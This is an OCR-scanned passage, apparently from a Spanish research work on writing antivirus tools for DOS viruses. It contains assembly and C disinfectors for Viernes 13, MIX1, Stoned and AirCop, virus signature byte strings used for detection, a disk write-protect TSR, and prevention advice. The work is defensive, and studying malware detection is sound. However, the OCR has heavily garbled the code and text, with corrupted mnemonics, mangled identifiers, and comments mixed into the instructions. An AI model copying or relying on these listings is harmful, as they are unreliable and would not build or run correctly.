PATH DB CAMCLEANFCGE

LIMPIA PROC
MOV AH 3DH :abro el archivo donde esta el sector de
:arranque limpio

MOV AL QO ,80lo lectura
LEA DX PATH Acclean feg
INT 21H

JCNOCLEAN

MOV BANDLE AX

MOV AH,3FH ;leo el archivo clean fog

MOV BX HANDLE

MOV CX 512  Tamafio del sector

LEA DX, ARCHIVO _FCG ;Archivo_feg lugar donde se carga el
;archivo clean.cfg

INT 21H

JC NOCLEAN

LEA SILBUFFER .en donde esta el sector leido infectado

LEA DLARCHIVO FCG ;e sector de arranque limpio

MOV CL,3

MAS.

MOV AL D]} ;copio los bytes 0-2 del sector limpio al
infectado

MOV [STLAL

INC S

INC DI

DEC CL

CMP CLO

INE MAS

INC SI ;apuntana 3

INC DI

MOV CL.27 ;del 3-01dh(29d) dejo intacto el sector

LUKE:

INC SI

INC DI

DEC CL

CMP CL,0

JNE LUKE

INC 81 ;apuntana a 30d



INC DI

MOV CX 481
COP.

MOV AL,DI]

MOV [SI],AL
DEC CX
CMP CX,0
INE COP

MOV AH,03
MOV AL,1

LEA BX BUFFER
MOV CX,PSI
MOV DH,00

106

,copic de G1EH (30D) a 1FFH (511D), hasta
Jel final det SECTOR

;buffer ya queda modificado con el secior
Jimpio.

;para escribir

;numero de sectores

:4rea de entrada

Jmueve pista y sector mniciales

;el lado

MOV DL.G :disco?

INT 134

JC ERROR1

MOV AH2 ;posicionar el cursor
MOV BH,0

MOV DL0 X

MOV BH20 ;Y

INT 10H

LEA DX,LISTO

MOV AHSS

INT 21H

IMP SALIDA
LIMPIA ENDP

4 2.9 VIRUS VIERNES 13 (PRINCIPIO COM)

Todos los archivos COM infectados con este virus terminan con la cadena
“MsDos”. Para detectar, por tanto, si un determinado archivo lo esta, simplemenie habra
que comprobar si finaliza con dicha cadena S$i esto ocurre, procederemos a su
desinfeccidn, que consistird en leer ¥ almacenar en memoria la parte del archivo que no
corresponde al virus, o sea, la situada desde el byte 1808 (tamafio del virus) hasta 5 bytes
antes del final, para pasar a continuacion a reescribir todo lo almacenado en memoria en el
mismo archivo {otra posibilidad consistiria en ir leyendo y escribiendo en otro archivo). El
siguente programa sélo funciona con archivos COM de 60 Kb. o menores.
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4261 PROGRAMA PARA ELIMINAR EL VIRUS VIERNES 13 DE LOS ARCHIVOS

COM
main{}

char Cadena{6],

char Buffer{6144 1}, /* Reserva 60 Kb de memoria */
unsigned Tamanio;

FILE *Fp;

struct ffblk Fichero;

printf("\nEste programa detecta y elimina el virus VIERNES 13\n"),
printf{"de todos los archives COM del directorio actual \n\n");

/* Buscea el primer archive COM */

(M findfirst("* COM", &Fichero, 0x20))
/* 8i se encontro */

do

{
/* Escribir en pantalia el nombre del archivo a verificar */
printf{"%e-12s" Fichero para lectura */
Fp—fopen(Fichero, ff name,"rb");

/* situarse en el 5° byte antes del final ¥/
fseek(Fp,-58.2);

/* Leer 5 bytes #/
Cadena[5)7\0;
fread(Cadena,5,1,Fp);

/* Comparzr los 5 bytes leidos con la cadena "MsDos" */
1if {Istremp{Cadena,"MsDos™))

{

printf{"=> — ARCHIVO INFECTADO !11");

/* Calcular el tamafio actual del archive (por iz posicién
del puntero, que esté al final ) */
Tamanio=ftell(Fp);

/* Si el archivo acupa miés de 60kb no es desinfectado */
if{ Tamanio=6 1440)

¢

printf{(" Imposible Desinfectar'\n™),

break;

}
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/* Situarse en el byte 1808 */
fseek(Fp,1808L,0);

/* Leer la parte del archivo no correspondiente al virus,
y almacenarla en el array Buffer
Tamafio del archivo - 1808 - 5 */

fread{Buffer, Tamanio-1813,1,Fp);

bl

f* Cerrar el archivo */
felose(Fp),

/* crear un archivo con el mismo nombre para escritura */
Fp=fopen(Fichero.ff name,"wb");

/* Escribir en el archivo o almacenado en memoria */
fwrite(Buffer, Tamanio-1813,1,Fp);

printf{(" => VIRUS ELIMINADOW™);
else printf{ == OK\n");

felose(Fp):
} while(!findnext(&Fichero)), /¥ Buscar el siguiente archivo COM #*/
H

El siguiete programa detecta el virus Viernes 13 en mermoria; para ello, obtiene los
vectors de interrupcion 8H y 21H y comprueba si su Offset (desplazamiento) es 21EH y
25BH respectivamente.
4.2.9.2 PROGRAMA QUE DETECTA EL VIRUS VIERNES 13 EN MEMORIA
main(}

union REGS Entrads, Salida;

struct SREGS REG seg;

unsigned Offset Vector 8, Offset Vector 21h;

pringf "nEste programa detecta el virus VIERNES 13 en memoria\nin"),

/* Obtener vectores de interrupcion 8H */

Entrada. h ah=0x35; AN de servicio */
Entrada h al=§; /*N° de interrupcidn */
mntdosx(&Entrada & Salida,&Reg_segh

Offser_Vector_21h=S8alida.x.bx; /* Offset del vector */

/* Qbtener vectores de interrupcion 21H */
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Entrada.h ah=0x35; M N°de servicio ¥/
Entrada h al=0x21, /% N° de interrupcion */
intdosx(&Entrada, &Salida,&Reg_seg);

Offser Vector 21h=Salida x bx; /* Offset del vector */

if{Offset Vector 8==0x2 |E && Offset_Vector 21h==0x25b)
{

printf("--- VIRUS DETECTADO EN MEMORIA 1),
prntf(" => segmento (hex) %04x\n"Reg_seg es);

s
else printf{ "VIRUS NG DETECTADO EN MEMORIAN"),
3

4 2.10 VIRUS MiX1 (EXE)

Sera necesario detectar s1 ¢l archivo estd infectado, comprobando si termina con la
cadena “MIX1”, cadena con la que terminan todos los archivos infectados por este virus. Si
esto ocwrre, procederemos a su desinfeccion, para lo que deberemos detectar en qué
posicién del archivo se almacenan los valores de la cadena que han sido reemplazados, tras
lo cual habré que leer dichos valores y eseribirlos en su posicidn original, con lo que ef
virus quedara desactivado, A pesar de ello, el cddigo del virus seguird formando parte del
archivo; para extirparlo, serd necesario truncar el tamafio del archivo y escribir en la

cabecera de éste nuevo tamafio. Necesitamos, por cilo, conocer el nimero de bytes que el
virus ocupa.

En el sigwente programa se utiliza el sistema de Entrada/Salida de bajo nivel
(UNIX), puesto que en éste estan definidas una serie de funciones no disponibles en
sistema de Entrada/Salida de alto nivel (ANSI), utilizando en el programa anterior, tales
como chsize(), filelength(), getftime() y setftime().

42.10.1 PROGRAMA QUE ELIMINA EL VIRUS MiX1

#include "10.h"
#Himeclude "dir.h"

main()

i
char cadenaf5];

long tamanio_original;

int Fp;

unsigned bytes ultimo_sector, sectores, offset, segmento;
struct fiblk fichero,

struct ftime fecha hora;

printf{"nEste programa detecta y elimina el vis MIX1'\n"),



printf{"de todos los archivos del directorio actual \n\n");

/* Buscar el pnimer archivo EXE */

(' finfirst("™* EXE" & fichero,x20)

/* 8i se enconiro ¥/

do

{

/* Escribir en pantalla el nombre del archivo a verificar */
printf{"%-12s" fichero ff name.4);

/* Abnr al archivo para lectura y escritura */
Fp=_open(fichero.ff name4);

/* situarse en e} 4° byte antes del final */
iseek(Fp,~4L,2});

/* Leer 5 bytes */
cadenaf4]="07,
_read{(Fp,&cadena,4);

/* coparar los 4 bytes leidos con 1a cadena "MIX1" %/
if{Istremp{cadena,"MIX1"))

{

printf{" => — ARCHIVO INFECTADO 11"},

/* Obtener y almacenar la Fecha y la Hora del Archivo */
getftime(Fp,&fecha hora);

/¥ Caleular ¢l tamafio original del archivo */
tamanio original=filelength(Fp}-1618;

/¥ Caloular el N° de bytes en el ultimo sector */
byte_ultimo_sector=tamanio_original % 512;

/* Calcular el N° de sectores que ocupara el archivo */
sectores=tamanio original /512 + i,

/% Si el N° de bytes en el altimo sector es 0, serd necesario
decrementar en 1 el n° de sectores totales det archivo */
if(Tbytes_ultimo sector) —-sectores;

/* Obtener el punto de entrada original del archivo */

/* El segmento lo almacena en esta posicidn del archivo
incrementando en 10H, por tantc habra que decrementarlo */
lseek(Fp,-1588L 2},

110
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_read{Fp,&segmento,2);
segmento-=0x10,

* El offset 1o almacena en esta posicion dei archivo */
Iseck{Fp,6L,1});
_read(Fp,&offset, 2);

/* Escribir en la cabecers los valores obtenidos */

/* Tamatfio {Bytes en el dlumeo sector y sectores totales) ¥/
Iseek(Fp,2L,0);

_write(Fp,&offset,2);

_write{Fp,&segmento,2);

/* Truncar el tamafio original */
chsize(Fp.tamanio_original);

/* Restaurar la fecha y hora original del archivo */
seftime(Fp,&fecha hora);

T A4 T

printf{" => VIRUS ELIMINADOW"),
}
else printf(" => OK\n");

/* Cerrar archivo */
_close(Fp);

} while(!findnext(&fichero)), /* Buscar el siguiente archivo EXE */

i
4 2.11 PROGRAMA PARA ELIMINAR EL VIRUS STONED Y AIRCOP

model small

stack 100h

data
PST  dw 0001 ;pista y sector imicial
fin db 00

danger db '— TU SECTOR DE ARRANQUE ESTA INFECTADO Mi§'
no clean  db No encontro, el archivo CLEAN FCG para limpiar tu disco, lo siento$*

path db 'cA\ENSAMBLA\clean. fog",00

handle dw ?

archivo_fog db 512 dup(0)

men db Lo siento, no pude leer tu sector de arranque. §

menl db No se pudo Himpiar tu disco, intenta de nuevo. ¥’
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limpio db "Fodo esta bien, tu sector de arranque esta Hmpiod'

bisto db "Tu sector de arranque a quedado limpiod'
saltaren db 0AL,0Dh 0AR0DR,'S'

disk db 00

buffer db 1024 dup{’ "

stoned db

33h,0C0h,8Eh,0D8h, 0F Ak, 8Eh,0D0L,0BCh,00h, 7Ch 0FBh,0A 11,4Ch,00k,0A3h,0%h
aircop db
OFAH,33H,000,8EH,0D8H,0A2H,0C41L 7DH,088H, 0E4H 00H,0A3H,0B8H,7DH,0B,

dH,3iH

code

Main proc

Begin:
mov ax,(@data
mov ds,ax
mov es,ax

mov ah,02 ;para leer
mov al 01 ;numero de sectores
lea by buffer -area de entrada
mov ¢x,PSi ;mueve pista y sector inictales
mov dh,00 :el lado
mov dl,disk idiscoa: // 0=a, 1=h, 2=¢ ...
int 13h
jc error_vader
jmp ok
error_vadern:
call error
ok:
mov si,offset stoned
call busca vir
cmp ax, 1
jue siguel
jmp error_virus
siguel:
lea si,aircop
call busca_vir
cmp ax,1
INE TERMINA
Jmp eIror_virus
TERMINA:
jmp clean
Main endp



€LTOr proc
call clear
mov ah,2 ,posicionar el cursor
mov bh,0
mov dlLG
mov dh 4
int 10h
lea dx,men
mov ah,9
int 21ih
Jmp salida
error endp

EITOr_VITUS Proc
call clear
Jdisk = 00 cmp disk,80h
C3POx:

tea dx,danger

mov ah,9

int 21h

mov al,'’?

Ie limpia

jmp salida
error_virus endp

ltmpia proc

mov ah,3Dh ;abro el archivo donde esta el sector de arranque
limpio

;-TODO!

mov at 00 :s6lo lectura

lea dx,path ,aclean feg

it 21h

Je NoClean

mov handle,ax

mov ah 3Fh Jeo el archivo clean.fcg
mov bx,handle

mov ¢x,512

lea dx,archivo_feg

int 2th

Jc NoClean

lea si,buffer .en donde esta el sector leido infectado
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lea di,archive_fcg :el sector de arranque himpio
mov cl,3
mas’
mov al,[di] ,copto los bytes -2 del impio al infectado
mov [si,al
ne Si
e di
dec ¢l
cmp cL0
jne mas
e si .apuntan a 3
e dt
mov ¢l,27 ;del 3-01Dh{29d) dejo intacto el sector
luke.
inc si
mnc di
dec cl
cmp cl,0
jne luke

1n¢ 81 ;apuntana a 30d
inc di
mov ¢x,481
cop:
mov al,[di] ,copio de 01Eh (30d) a 1FFh (511), hasta el final del sector
mov [si],al
dec ¢x
cmp cx,0
jne cop ;buffer ya queda modificado con el sector limpio.

mov ah,03 ;para escribir

mov al,1 huimero de sectores
lea bx buffer ;area de eptrada
mov ¢x,PS1 ;mueve pista y sector iniciales
mov dh,00 .el lado

mov di.0 :disco?

int 13h

jeerrorl

mov ah,2 ;posicionar el cursor
mov bh,0

mov dL0 x

mov dh,20 v

mt 10h

lea dx lsto



mov ah9

int 21h

jmp salida
hmpia endp

error] proc
lea dx menl
mov ah,9
int 21h
jmp sahida
errorl endp

NoClean proc
mov ah,2 ;posicionar el cursor
mov bh,0
mov dl4 ,x
mov dh,19 ;y
int 10h

mov ah,9
lea dx,no_ciean
int 21h ;digo que no se encontro el archivo para limpiar
jmp salida
NoClean endp

clear proc
mov ah,7
mov al0
mov ¢i,0 ;x inicial
mov ch,0 ;y inmicial
mov dl,79 :x final
mov dh 24 Ly final
mov bh,60C01111b ;color
int 10h
ret

clear endp

busca_vir proc
;51 = offset de cadena de virus a buscar regresa:
, 8x=0 si no hay virus
; ax=1 st hay virus,
push ds
mov ax.ds
mov £s,ax
mov di,offset buffer



mov bx,di
mov dx sl

ciclo:
cmp bx,offset buffer + 497
1ae fin bv
mov ¢x, 16
repe cmpsb
cmp ¢x,0
J& encontro_virus
1nc bx
mov di,bx
mov s1,dx
mp ciclo
ENncONiro Virus'
mov ax, 1
jrup salida_bv
fin bv
mov ax,0
salida bv:
pop ds
ret
busca_vir endp

clean proc
call clear
mov ah,2 ;posicionar ¢l cursor
mov bhO
mov dL.0 ;x
mov dh,20 y
int 10h
lea dx,limpio
mov ah,9
int 21h

clean endp

salida proc
mov ah 4Ch
int 21h
salida endp
End
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4 3 PROGRAMA PROTECTOR DEL DISCO DURO

El eddige que se offece a continuacion corresponde a un programa de proteccion
légica contra escntura del disco durc. El lenguaje de programacion utilizade es
ensamblador correspondiente al compilador Macro Assembler de la casa Microsoft en su
versién 5 0.

La creciente escalada en las variaciones de los virus y las nuevas creancidnes de
programas hacen que la mayoria de los programas convencionales "antivirus" se hayan
quedado obsoletos. Este es debido a que ¢l software se ha especializade en virus
concretos.

Debido a las caracteristicas del programa, su funcidn es de prevenir y proteger
frente a posibles ataques confra el disco duro  Por eso, deberd utilizarse siempre que se
vaya a trabajar con diskeftes que contengan soffware de procedencia dudosa. Este
programa puede incluirse en el fichero AUTOEXEC.BAT, con el fin de proporcionar
proteccion del disco duro siempre que se reinicialice el sistema.

4,3.1 ;COMO HACER EJECUTABLE EL PROGRAMA PROTECTOR?

E! listado debera escribirse en un editor de lineas o de texto con formato ASCII, con
el nombre PROTEC. ASM.

una vez creado dicho fichero, se procedera siguiendo los pasos que se indican a,
continuacion’

1. Compilar el cédigo fuente con el programa compilador MASM (Macro Assembler de
la casa Microsoft). Para ello se debe escribir,

MASM PROTEC; <Intro>

2. Una vez compilado, se obtiene el c6digo objeto contenido en el fichero PROTEC.ORBJ.
Para obtener el cddigo ejecutable se debe enlazar el programa utitizando el comando
externo LINK.EXE del DOS.

Para elio se debe escnibir.
LINK PROTEC; <intro>

En algunas versiones del DOS, al realizar esta operacion aparecer un mensaje de error
referente al segmento de la pila {stack), indicando que no encuentra dicho segmento
Este error debe ignoratse, ya que es comun cuando se pretende obtener un fichero tipo
COM.
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3. Convertir el fichero PROTEC EXE obtemido en el paso anterior en el fichero
PROTEC COM. Para ello se debe usar el comando externo EXEZBIN EXE del
sistema operativo DOS, escriibiendo:

EXE2BIN PROTEC.EXE PROTEC.COM <enter>
432 ,COMO EIECUTARLO?

Para gjecutar ¢l programa, simplemente se tendria que escribir su nombre en el
indicador de comandos (prompt) del DOS, con la siguiente secuencia de teclas.

PROTEC <Intro>

Aparece entonces, por pantalla, un mensaje indicando que el disco duro esta
protegido contra escritura. Si se quiere desproieger ef disco duro, simplemente habri que
repetir la operacion anterior, es decir, volver a escribir la secuencia:

PROTEC <enter>

Cuando se lleva a cabo esta accidn aparece un nuevo mensaje por pantalla
indicando que el disco duro no esid protegido cona escrimia.

Si el programa ha sido incluido en ei AUTOEXEC.BAT, habra que desactivar
previamente el programa protector (tal como se indico anteriormente) siempre que se vaya
a gjecutar un programa de aplicacion que realice operaciones de control de entrada/salida
sobre el disco duro.

4.3.3 LISTADO DEL PROGRAMA PROTECTOR

A continuacion se incluye el listado del programa protector

NAMEPROTEC
PAGE 60,132
TITLE ‘PROTEC COM --- protege el disco duro’

CSEG SEGMENT  PARA PUBLIC 'CODE'
ORG 160H
ASSUME CS:CSEG,DS:CSEG,ES:CSEG,S8:CSEG

PRODIDU  PROC NEAR
INICIC: IMP SHORT VERRES
NINT13: DwW 2 DUP {0000H)

ADD [BX],CL



AINTI13.

VERUNI

VERRES

BUCLE

FINBUC

GINT13:

CNP
JE
CMP
JE
IMP
CMP
INE
CMP

CMP
JE
CMP

MOV
STC

MOV
MOV
MOV

DEC

MOV
MOV
MOV
MOV
CLD

REPZ

INE
CMP

MOV
MOV

MOV
MOV
FUSH
POP

MOV
MOV

AH, 05H

VERLNI

AH, 03H

VERUNI

DWORD PTR CS{0103H]
BYTE PTR CS:[0107H]},00H
AINTI3

DL, 00H

AINT13

DL, 01H

AINT13

DL, 03H

AINT13

AH, 03H

DX, 0108H
AX. CS
ES, AX

AX
DS, AX

SI, DX

DI, DX
CX, 0005H

CMPSW

FINBUC

BYTE PTR DS:[0107H], OFH
CAMRES

AX, 0001H

BUCLE

BYTE PTR CS:[0107H), 00H
AX, 3513H

21H

CS:[0103H], BX
CS:{0105H], ES

s

DS

DX.OFFSET MENSA!
ATL 091

21H

19
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PINTI3 MOV DX, 0108H

MOV AX, 2513H
INT 21H
SALRES: MOV DX, 0134H
INT 27H
CAMRES  NOT BYTE PTR DS:[0107H]
CMP BYTE PTR DS:{0107H], 00H
JE SIPROT
MOV DX, OFFSET MENSA2
IMP SHORT NOPROT
NOP
SIPROT: MOV DX OFFSET MENSA]
NOPROT MOV AH,09H
PUSH cs
POP DS
INT 21H

TERMIN:  INT

20H

PRODIDU  ENDP

MENSAL: DB
MENSA2: DB
MENSA3: DW

CSEG ENDS

END PRODIDU

“#a% DISCO PROTEGIDO CONTRA ESCRITURA ***
<% DISCO NO PROTEGIDO CONTRA ESCRITURA *+*°
0000H

4.3 4. BREVE EXPLICACION DEL PROGRAMA

En este apartado no se pretende realizar un anélisis exhaustivo del programa,
simplemente se ofrece una breve explicacion de las distintas subrutinas que utiliza.

NINT13
AINT13
VERUNI

VERRES
GINT13
PINT13

SALRES
CAMRES
SIPROT
NOPROT

Nueva interrupeion 13h creada por el programa.

Llamada a la antigua interrupcion 13h.

Ver o comprobar la unidad de disco 2 la que se quiere acceder para
realizar operaciones de escritura o formateo.

Ver o comprobar Si el programa ya estd residente en la memoria.
Guardar ¢l vector de interrupcion de la antigua interrupeion 13h.

Poner o colocar en la tabla de vectores de interruncidn la nueva
interrupcion 13h

Salir y quedar residente en la memoria.

Cambiar el estado del programa de residente a no residente, y viceversa.
81 se ha protegido el disco duro, aparece el inensaje MENSAL

St no se ha protegido el disco dure, es decir, Si se [evanta la proteccion,
aparece en la pantalla el mensaje MENSAZ.
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TERMIN Terminar y devolver el control al DOS.

4.5 MEDIDAS BASICAS

Después de lo que hemos anabizado acerca de los virus, podemos, afirmar que
aungue no se pueda proteger fa computadora al 100%, del posible ataque de un virus, St se
puede reducir al minimo la probabilidad de contagio. Si se toman las siguientes medidas;

4. 5.1 UTILIZAR PROGRAMAS ORIGINALES

Los programas originales no tienen virus. El contagio de los virus siempre se
producen a través de copias de programas, por lo que st evitamos en lo postble esas
copias, estamos evitando en lo posible el contagio.

4.52 PROTEGER CONTRA ESCRITURA

Todos los discos en los que no tengamos que escribir mas informacion deben ser
protegidos contra escritura.  Para ello, en los discos de 3,5 pulgadas se debe colocar la
cejilla de tal manera que quede el hueco libre, v en los discos de 5,25 pulgadas se debe
pegar la etiqueta de proteccion. Las unidades de disco flexibles estén construidas de forma
que resulta imposible escribir en los disco que estén protegido contra escritura. Por lo
ianto, un disco protegido no puede contagiarse por virus. Es muy buena practica tener
todos los discos tanto los de programas originales como las de copias de seguridad con las
etiquetas de proteccion,

4.5.3 ANTIVIRUS

Antes de ejecutar por primera vez cualquier programa, se debe comprobar la
existencia de virus ejecutando cualquier aplicacion antivirus. En el mercado existen
muchos programas detectores de virus incluso algunos de ellos son de dominio pubhico. $i
un disco contiene algln archivo contaminado, podemos efectuar cualquier tipo de acceso 2
¢l sin que ello represente ningiin riesgo, siempre y cuando no ejecutemos el programa
contarinado  Por tanto, podemos ejecutar los comandos DIR o COPY sin problema
ninguno. Hay que aclarar que s1 es nuestra computadora la que estd contaminada entonces
si podemos contagiar ofro disco por el simpie hecho de hacer un DIR, a menos que este
disco esté protegido contra escritura.

4.54 COPIAS DE SEGURIDAD

Aun en el caso de seguir rigidamente las reglas anteriores, no demos afirmar que
estemos completainente seguros, por 1o que debemos de sacar una copia de segundad cada
cierto tiempo, si al final nos encontramos con un virus, este hecho no serd completamente
desastroso al poder recuperar la informacion después de limpiar Ia computadora de virus.



4 5 $ CHEQUROS PERIODICOS

Por ejemplo, cada semana o cada mes se puede utthzar una utilidad antivirus para,
verificar s1 se ha producido una infeccién. [ndependientemente de esto, si s¢ dispone de un
programa de proteccidn puede instalarse en el fichere de arranque en la computadora.

Los virus son especiahmente perjudiciales cuando se trabaja con redes de 4rea local,
por {anto, hay que poner el maxime interés en evifar que infecten a la misma. Por eilo, no
debe ntroducirse en la red ningln programa que no tenga debidamente comprobado su
"estado de salud”, e incluso puede llegarse a que las computadoras que estén conectadas a
la red no tengan discos flexibles, salvo el del administrador.

Una fuente comin de contagio son las comunicaciones, por eso s¢ recomienda,
igual que en los casos anteriores, especial cuidado en los archivos de aplicaciones recibidos
mediante este sistema.

Por dltumo, podemos recordar que PARA QUE UN VIRUS PUEDA
REPRODUCIRSE, ES NECESARIO QUE EL PROGRAMA QUE LO CONTIENE SE
EJECUTE.

4.5.6 QUE HACER EN CASQC DE TENER UN VIRUS

Si a pesar de todas nuesiras medidas de seguridad detectamos la existencia de un
virus en nuestra computadora, en principio no tememos que preocupamos demasiado,
puesto que las ¢osas no suelen ser tan graves. Si todavia no ha empezado la fase
destructiva del virus, posiblemente podamos climinarlo sin perder informacion. St por ¢l
contrario, esta fase ya empezd, debemos eliminar primero el virus y posteriormente intentar
recuperar la informacion perdida. Para ello utilizaremos las copias de scguridad o algin
programa comercial de utilidades, como Pctools o Norton.

En cualquier caso, los pasos a seguir son los siguientes:

1. Apagar la computadora con el interruptor. No basta con reinicializarlo con las teclas
CTRL+ALT+DEL.

2 Introducis en la unidad A: un disco con &l Sistema Operativo. Debemos estar seguras de
que este disco no tiene virus v de que esté protegido contra escritura.

3. Encendemos de nuevo la computadora, asegurandonos de carga el sistema operativo
desde la unidad A

4. TUtlizamos un programa detector de virus para identificar los archivos contagiados y el
tipo de virus de que se trata.

5 Utihizamos un programa antivirus para eliminar el virus de los ficheros contagiados.
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Hacemos una Gltima comprobacién para aseguramos de que se consiguid eluminar el
virus.

Si después de lo anterior algunos archivos contintan contagiados, debemos borrarlos
completamente A continuacién intentamos restaurarios desde los discos flexibles  Si

no se tenia copia de ellos, los damos por perdidos.

En el caso de que no se disponga de programas antivirus, o de que los programas

antivirus de que se dispone no sean adecuados, entonces solo queda la tragica solucidn
siguiente:

L.

L

Apagar la computadora

. Introducir en la unidad A. un disco con ¢l sistema operativo. Debemos estar seguros de

que este disco no tiene virus y de que esté protegido contra escrifura.

. Encendemos de nuevo Ja computadora, asegurandonos de que carga ¢l sistema operaiivo

desde 1a unidad A.

. Copiamos todos los archivos no gjecutables del disco duro en discos flexibles. Estos

archivos son 10dos aquellos que tienen una extensién distinta de EXE, COM 0 OVL. No
debemos olvidar mantener siempre la unidad A: como unidad por defecto. Podemos
aprovechar esta oportumidad para eliminar la posible informacién inservible que
contenga el disco como, programas mas antiguos, ficheros repetidos, etc.

. Formateamos €l disco duro e instalamos de nuevo ¢l sistema operativo.
. Volvemos a arrancar la computadora, esta vez desde el disco duro.

. Restauramos todos los programas que tenfamos. Si alguno de ellos no se tiene en disco

flexible, no se le ocurra utilizar una copia del que tenia en el disco duro, puede estar
contagiado, olvidese de éL

. A continuacidn restauramos todos los archivos copiados anteriormente en los discos

fexibles.
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CONCLUSIONES

En este trabajo de imvestigacion, se dan bases para la realizacion de un programa
antivirus. Para realizar dicho programa les recomiendo hacer lo siguiente:

Lo primero que tendra que hacer es identificar la cadena de caracteres del virus, que
desea eliminar, esto lo conseguira atrapandolo, con un programa “vacio”, {como ¢n la pag.
101) Los programas para atrapar virus se pueden hacer, dependiendo del tipo o clase, que
se quiera atrapar o eliminar, por gjemplo: los de tipo macro se crea una macro vacia v se
corre cada vez gue uno note una anomalia en su computadora.

Como segundo paso, es hacer un pequefio programa que busque lz cadena de
caracteres en todos los archivos, en caso de encontrar la cadena de caracteres en un archive
continuar con €l paso tres.

Tercer paso hacer una copia del archivo “contaminado™, €ste se hard para poder
trabajar solo en la copia, por si tenemos una falla.

Cuarto paso crea un archivo para poder eliminar la cadena de caracteres, o bien
borrar todo ef archivo contaminado

Todo resulta mas sencillo, cuando utiltzamos nuestra imaginacidon vy creatividad.
Como no todos los virus son iguales, es por eso que debemos de utilizar todos nuestros
conocimientos y estar actualizados constantemente para poder combatirlos y asi tener
menos perdidas de las que se causan por culpa de los virus a no poder detectarlos a tiempo.

Nunca vamos a estar al salvo al 100% de los virus, es por eso que la mejor arma
sigue siendo la prevencién
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